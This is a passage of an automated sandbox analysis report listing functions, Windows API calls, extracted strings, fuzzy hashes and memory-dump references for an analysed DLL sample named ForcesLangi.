Instruction Fuzzy Hash: 2441DF72E01E39AEEB108FB9C840B9E7A74EB4576AF30055AE85467B50C73C49059BD0

Function 6CE2E88E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6CE2E8CB
dllmain_crt_dispatch.LIBCMT ref: 6CE2E8E2
dllmain_raw.LIBCMT ref: 6CE2E92A
dllmain_crt_dispatch.LIBCMT ref: 6CE2E93D
dllmain_raw.LIBCMT ref: 6CE2E950

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 7f58d659d36c7858edb84b74846c2f5ef8e5884e5f0357126d7aee17d8522da2
Instruction ID: 896506bce4365e0c36c10ba39cb66f21c6a606b05ad580711363cd7b9a419e8b
Opcode Fuzzy Hash: 7f58d659d36c7858edb84b74846c2f5ef8e5884e5f0357126d7aee17d8522da2
Instruction Fuzzy Hash: 6F21E471E01E39AEDB118E75C840FAF3A78EB8579DB31165AF81457B10C3388D019BD0

Function 6CE2E6D7 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CE2E724

Part of subcall function 6CE2EBF3: InitializeSListHead.KERNEL32(6CE8DC50,6CE2E72E,6CE3F880,00000010,6CE2E6BF,?,?,?,6CE2E8E7,?,00000001,?,?,00000001,?,6CE3F8C8), ref: 6CE2EBF8

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CE2E78E

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: d24459848af649de417b6f56c094e77db1492ee4744ba3b656a301ef0e6f78b5
Instruction ID: 52538b7e7801b4e81247636a506a491595e5e31ee6089571e34a67c5fd68fd5e
Opcode Fuzzy Hash: d24459848af649de417b6f56c094e77db1492ee4744ba3b656a301ef0e6f78b5
Instruction Fuzzy Hash: 3321B832689B369EEB006BF498057E837719B0222EF30142DD49467BC1DB6E1188C6E1

Non-executed Functions

Function 6CE27100 Relevance: 16.4, APIs: 3, Strings: 6, Instructions: 630
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6CE27968

Strings

Vxsi, xrefs: 6CE2739F
}:, xrefs: 6CE27892
}:, xrefs: 6CE2796D
9&QN, xrefs: 6CE27722
v=z, xrefs: 6CE274E1
Vxsi, xrefs: 6CE274DC

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ___std_exception_copy
String ID: 9&QN$Vxsi$Vxsi$v=z$}:$}:
API String ID: 2659868963-2183748173
Opcode ID: 9366cfeff818ebae47d58a834db2ef1f95c1b90d0d8f8f3467b70c00851f5418
Instruction ID: 8855f6694e0f4b4b3687ce0f82a14031bb1d5240638f254261b294506ffd7ddf
Opcode Fuzzy Hash: 9366cfeff818ebae47d58a834db2ef1f95c1b90d0d8f8f3467b70c00851f5418
Instruction Fuzzy Hash: 72222776A416118FDF08CE7CC4D53DE37F2AB47324F21A619D822EB7A5C62E490ADB14

Function 6CE18000 Relevance: 11.3, Strings: 8, Instructions: 1306
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_-m., xrefs: 6CE18827
;K;, xrefs: 6CE18E7F
aIh, xrefs: 6CE18B94
_-m., xrefs: 6CE18923
=vhr, xrefs: 6CE18AB5
M7(, xrefs: 6CE18D17
=vhr, xrefs: 6CE18B31
;K;, xrefs: 6CE18E15

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: ;K;$;K;$=vhr$=vhr$M7($_-m.$_-m.$aIh
API String ID: 0-1460946245
Opcode ID: 668bcba1d2490bff6b3a4aebfa54b07c6ded58823126e6d6d4f7ba9ce4bcf189
Instruction ID: ef8de2d778062ece0079cf0524095dedb9022f8211e729ea76a7326208249fe3
Opcode Fuzzy Hash: 668bcba1d2490bff6b3a4aebfa54b07c6ded58823126e6d6d4f7ba9ce4bcf189
Instruction Fuzzy Hash: 0EA2F43AF492458FCB14CEBCE5843DD7BF2AB47364F219516D429EBB54C63A990ACB00

Function 6CE23C50 Relevance: 11.1, Strings: 8, Instructions: 1109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z4l,, xrefs: 6CE24AA4
my, xrefs: 6CE2492F
]wEu, xrefs: 6CE249E3
9R, xrefs: 6CE24BC9
Z4l,, xrefs: 6CE24A56
9R, xrefs: 6CE2459E
I nw, xrefs: 6CE24384
]wEu, xrefs: 6CE24995

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: I nw$Z4l,$Z4l,$]wEu$]wEu$my$9R$9R
API String ID: 0-2567923771
Opcode ID: e691692839b2ac8d86fbf98ae317b603520a6e97ebf7649cee079891160059c8
Instruction ID: 0eb387f7cbbce6d65ddca9732c4cfdaf72fcbda984fa71cb73c3a922fd6ab1c2
Opcode Fuzzy Hash: e691692839b2ac8d86fbf98ae317b603520a6e97ebf7649cee079891160059c8
Instruction Fuzzy Hash: C882EA36A466429FCB08CE7CE5E13CD77F6AB57354F31911AB425DBB94C62E890ACB00

Function 6CE1C3D0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 419
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d6, xrefs: 6CE1C7FD
d6, xrefs: 6CE1C418
string too long, xrefs: 6CE1C5FC, 6CE1C90F, 6CE1C935

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: d6$d6$string too long
API String ID: 0-1601816696
Opcode ID: 2175849c19c720148461ae0a52b9a824a39e0bf1da7715acc3bd9804d7ca28c4
Instruction ID: 0ed3e2521ef53303d1bcf52a26123a00abb299dbbb8d9bf41183bb8b1dc1fdb7
Opcode Fuzzy Hash: 2175849c19c720148461ae0a52b9a824a39e0bf1da7715acc3bd9804d7ca28c4
Instruction Fuzzy Hash: CDD148367486518FDF04DE7CC5D53EE37F2AB47324F31A6298862DBB95C22A590E8780

Function 6CE1E8D0 Relevance: 10.4, Strings: 7, Instructions: 1645COMMON

Download Yara Rule

Strings

ojpl, xrefs: 6CE1F16F
z[MX, xrefs: 6CE1F591
ojpl, xrefs: 6CE1F276
dY?+, xrefs: 6CE1F3D3
`#bO, xrefs: 6CE1EFF1
dY?+, xrefs: 6CE1F44E
z[MX, xrefs: 6CE1FE83

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: `#bO$dY?+$dY?+$ojpl$ojpl$z[MX$z[MX
API String ID: 0-3788235473
Opcode ID: 88d98039ddcbede46f0fbcf0d765af0e6c7bb1bfd7e8f556b66e36ec034aad20
Instruction ID: 640f493af20b20ca235404da2836a2489d0ac94818d0e6bce4384c5ba14c3588
Opcode Fuzzy Hash: 88d98039ddcbede46f0fbcf0d765af0e6c7bb1bfd7e8f556b66e36ec034aad20
Instruction Fuzzy Hash: 4BC20536A599058FCF088D7CC5D53CE7BF2AB47324F346619D422DBF95C22A994B8B80

Function 6CE00FC0 Relevance: 8.4, Strings: 5, Instructions: 2126COMMON

Download Yara Rule

Strings

;?", xrefs: 6CE01030
A$)h, xrefs: 6CE01EDC
|Yvm, xrefs: 6CE01F2F
|Yvm, xrefs: 6CE01F80
?3.*, xrefs: 6CE0255C

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: ;?"$?3.*$A$)h$|Yvm$|Yvm
API String ID: 0-1640716877
Opcode ID: 0330d599ecbbe9745307214433c8c685a551fe88023048d96be45f6f52854f9f
Instruction ID: f119b406e86f40ace0f545ad4bdcf968be7aa8da489785f185bb940ff019503d
Opcode Fuzzy Hash: 0330d599ecbbe9745307214433c8c685a551fe88023048d96be45f6f52854f9f
Instruction Fuzzy Hash: D9F2133AB402118FCF04CE7CC9D53C9B7F2AB57358F20815AD929DB795D639898A8F81

Function 6CE19A20 Relevance: 8.2, Strings: 6, Instructions: 688COMMON

Download Yara Rule

Strings

.X~l, xrefs: 6CE1A32F
xe2, xrefs: 6CE1A212
.X~l, xrefs: 6CE19FC3
rPz, xrefs: 6CE19FBE
rPz, xrefs: 6CE1A03E
K3T, xrefs: 6CE19D99

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: .X~l$.X~l$K3T$rPz$rPz$xe2
API String ID: 0-1598945147
Opcode ID: b574ebe418ff676d1ff8b80d1618d5589b80c5314a5bea7fa6ce2143d91705ed
Instruction ID: e614f7159c6b099f64c36c9b7ca53b710ecf23fe3d492109c2d192515dfccd88
Opcode Fuzzy Hash: b574ebe418ff676d1ff8b80d1618d5589b80c5314a5bea7fa6ce2143d91705ed
Instruction Fuzzy Hash: 91322436A995508FCB04CE7CD5D53EE7BF2EB47328F309219D425DBF90D22A885A8B41

Function 6CE138D0 Relevance: 7.8, Strings: 5, Instructions: 1529COMMON

Download Yara Rule

Strings

eG/q, xrefs: 6CE149C4
~9Ew, xrefs: 6CE147E3
l9:b, xrefs: 6CE14622
Dz5), xrefs: 6CE148CD
l9:b, xrefs: 6CE145D9

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Dz5)$eG/q$l9:b$l9:b$~9Ew
API String ID: 0-2836437484
Opcode ID: e90a0ef43dcc10224373e11d71759b4aa215bb60b50c2e5f9f08130348aaece8
Instruction ID: e43d0bca6c583cec9b14880e0faa84522611ce57d89b45b149ce6bcb0b5d7a83
Opcode Fuzzy Hash: e90a0ef43dcc10224373e11d71759b4aa215bb60b50c2e5f9f08130348aaece8
Instruction Fuzzy Hash: F2B21376B496418FDF08CEBCC4957CD7BF2AB47329F21511AD425EBF94C62A880A8F41

Function 6CE2CFC0 Relevance: 6.9, Strings: 5, Instructions: 650COMMON

Download Yara Rule

Strings

^gj, xrefs: 6CE2D2A5
pWh#, xrefs: 6CE2D50B
^gj, xrefs: 6CE2D89F
Ob], xrefs: 6CE2D70B
pWh#, xrefs: 6CE2D559

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: ^gj$^gj$pWh#$pWh#$Ob]
API String ID: 0-777673351
Opcode ID: 31dc5e815395a46f4fc7b3ea5a2d31121c317a2b0d865133074a573edf54facf
Instruction ID: b714cc12a39e182d0bb6060de1f4364732cedb10ec56c071ce9d2980c246a71c
Opcode Fuzzy Hash: 31dc5e815395a46f4fc7b3ea5a2d31121c317a2b0d865133074a573edf54facf
Instruction Fuzzy Hash: 29329B7AE452058FCB08CEACD5817DDBBF2AB47314F24851AE511EBB54C63E9A0ACF01

Function 6CDFC480 Relevance: 6.9, Strings: 5, Instructions: 622COMMON

Download Yara Rule

Strings

ocdxlonrhtobxzbmmppsktncfvbqheqvmuejpgo, xrefs: 6CDFCBA3, 6CDFCDBE
`v@, xrefs: 6CDFC6FE
lgwqcvyumsawjugnzuzdxweouksulrgoelgmoekalxmlkgeuziduyrvyqxzlwaxspsrxpywqvhwcnmucaxvevtz, xrefs: 6CDFC7B1
laqxkqcpfyvpakmoyctaiwbatatssaylldhvrbchranhq, xrefs: 6CDFCB89, 6CDFCDA4
dscxnioflcvqa, xrefs: 6CDFC7C8

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: `v@$dscxnioflcvqa$laqxkqcpfyvpakmoyctaiwbatatssaylldhvrbchranhq$lgwqcvyumsawjugnzuzdxweouksulrgoelgmoekalxmlkgeuziduyrvyqxzlwaxspsrxpywqvhwcnmucaxvevtz$ocdxlonrhtobxzbmmppsktncfvbqheqvmuejpgo
API String ID: 0-967752511
Opcode ID: 91c5f46955d2d1456a3e3e6a6fcbd7cb62606f6741fb542659f3ffc90668ec6a
Instruction ID: fceba8b620521901dd565c30885600ed61ee5c14c59502ffcd6693063409f581
Opcode Fuzzy Hash: 91c5f46955d2d1456a3e3e6a6fcbd7cb62606f6741fb542659f3ffc90668ec6a
Instruction Fuzzy Hash: CF427BB4A002088FDB04DFACC995B9E7BF1BF46308F124198D8199F761DB75A949CF92

Function 6CE2EF12 Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6CE2EF1E
IsDebuggerPresent.KERNEL32 ref: 6CE2EFEA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CE2F00A
UnhandledExceptionFilter.KERNEL32(?), ref: 6CE2F014

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 99ac77ec974ebcc05f46af676780aef1d1d3f117d9fac71f1487e759d88ac09d
Instruction ID: 13789affc0a512a71272510632ec99dbacbd0879a1d9c809e51634f76e22869d
Opcode Fuzzy Hash: 99ac77ec974ebcc05f46af676780aef1d1d3f117d9fac71f1487e759d88ac09d
Instruction Fuzzy Hash: DB312BB5D4522C9BDF20DFA5D989BCDBBB8BF08304F10419AE40DA7240EB795A898F54

Function 6CE25B20 Relevance: 5.7, Strings: 4, Instructions: 742COMMON

Download Yara Rule

Strings

CpK, xrefs: 6CE25F3E
O8C|, xrefs: 6CE26541
bad array new length, xrefs: 6CE26077, 6CE26518
O8C|, xrefs: 6CE262DB

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: CpK$O8C|$O8C|$bad array new length
API String ID: 0-719153901
Opcode ID: c00825cf4c9565a4e8df013217d3c71be22a21379d117b00345e7b6db40f5ace
Instruction ID: 82fc642f2fc9db6155f58bd47040e0bebd1f99a9cfa6bc77e990624f805e3fe4
Opcode Fuzzy Hash: c00825cf4c9565a4e8df013217d3c71be22a21379d117b00345e7b6db40f5ace
Instruction Fuzzy Hash: F232F276B855018FCF09CE7CDA953DE37F6A747368F305629D421DBB98C12E8A0A8B40

Function 6CE130E0 Relevance: 5.6, Strings: 4, Instructions: 571COMMON

Download Yara Rule

Strings

)TuJ, xrefs: 6CE13837
)TuJ, xrefs: 6CE137C4
_81j, xrefs: 6CE138A3
_81j, xrefs: 6CE1353D

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: )TuJ$)TuJ$_81j$_81j
API String ID: 0-726387471
Opcode ID: 271241e45f08aa0f5695485f0ac060cd8f9b2b15041f0f11f7de21bc8660112d
Instruction ID: a7c377b3ed13151d36897dc145d890c4af5c4ac312d2f556cafdd027bc8b328e
Opcode Fuzzy Hash: 271241e45f08aa0f5695485f0ac060cd8f9b2b15041f0f11f7de21bc8660112d
Instruction Fuzzy Hash: 8612F576B482118FCF08CE7CC9943DD7BF2AB4B365F208619D425EBF94C72A881A8755

Function 6CE17860 Relevance: 5.4, Strings: 4, Instructions: 434COMMON

Download Yara Rule

Strings

d~_D, xrefs: 6CE17D5B
\x<!, xrefs: 6CE17BB5
\x<!, xrefs: 6CE17E0D
d~_D, xrefs: 6CE17DD1

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: \x<!$\x<!$d~_D$d~_D
API String ID: 0-1002557758
Opcode ID: f9744634639ec766c7a2aa082bbe2e33338f95b5bdc0ac2fbde5ad8c949f672a
Instruction ID: a30ac52d1bdaafd2e59876e738ae2b86c94afbf28bc1a59a43995332631d3719
Opcode Fuzzy Hash: f9744634639ec766c7a2aa082bbe2e33338f95b5bdc0ac2fbde5ad8c949f672a
Instruction Fuzzy Hash: 2AE1F776B485128FDF08CE7CC5953DE7BF29B47729F319119D511EBB90C22A8E0A8B90

Function 6CE1A6D0 Relevance: 4.9, Strings: 3, Instructions: 1127COMMON

Download Yara Rule

Strings

B7 , xrefs: 6CE1B035
Wjd, xrefs: 6CE1AD96
Wjd, xrefs: 6CE1B40E

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID:
String ID: Wjd$Wjd$B7
API String ID: 0-2249100413
Opcode ID: 1e82e3bcc097b533398cfaad6c4894267f3227d1694741e6de0d84cb02b92e7d
Instruction ID: ebc648050ac7448f89ac72bbf82876351b0fc3c8b50fbaf4af98f38360e22923
Opcode Fuzzy Hash: 1e82e3bcc097b533398cfaad6c4894267f3227d1694741e6de0d84cb02b92e7d
Instruction Fuzzy Hash: A882C076E596048FCF04CFBCC5E57EE7BF2AB47324F209619D425DBB94C629880A8B41

Function 6CE313FC Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6CE314F4
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6CE314FE
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6CE3150B

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9ef31c3364527a1112a0f488fc630ce552f19c234ef428a1457d5e405b64d483
Instruction ID: df0d672925640c45cd7fac900f0f9e35b3f360d19642a0ec52e1c5d4bbabd180
Opcode Fuzzy Hash: 9ef31c3364527a1112a0f488fc630ce552f19c234ef428a1457d5e405b64d483
Instruction Fuzzy Hash: 1731B3B5901228ABCB21DF64D888BCCBBB8BF08314F6052DAE41DA7250E7749F858F55

Function 6CE31AE2 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6CE31AE1,?,00000001,?,?), ref: 6CE31B04
TerminateProcess.KERNEL32(00000000,?,6CE31AE1,?,00000001,?,?), ref: 6CE31B0B
ExitProcess.KERNEL32 ref: 6CE31B1D

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
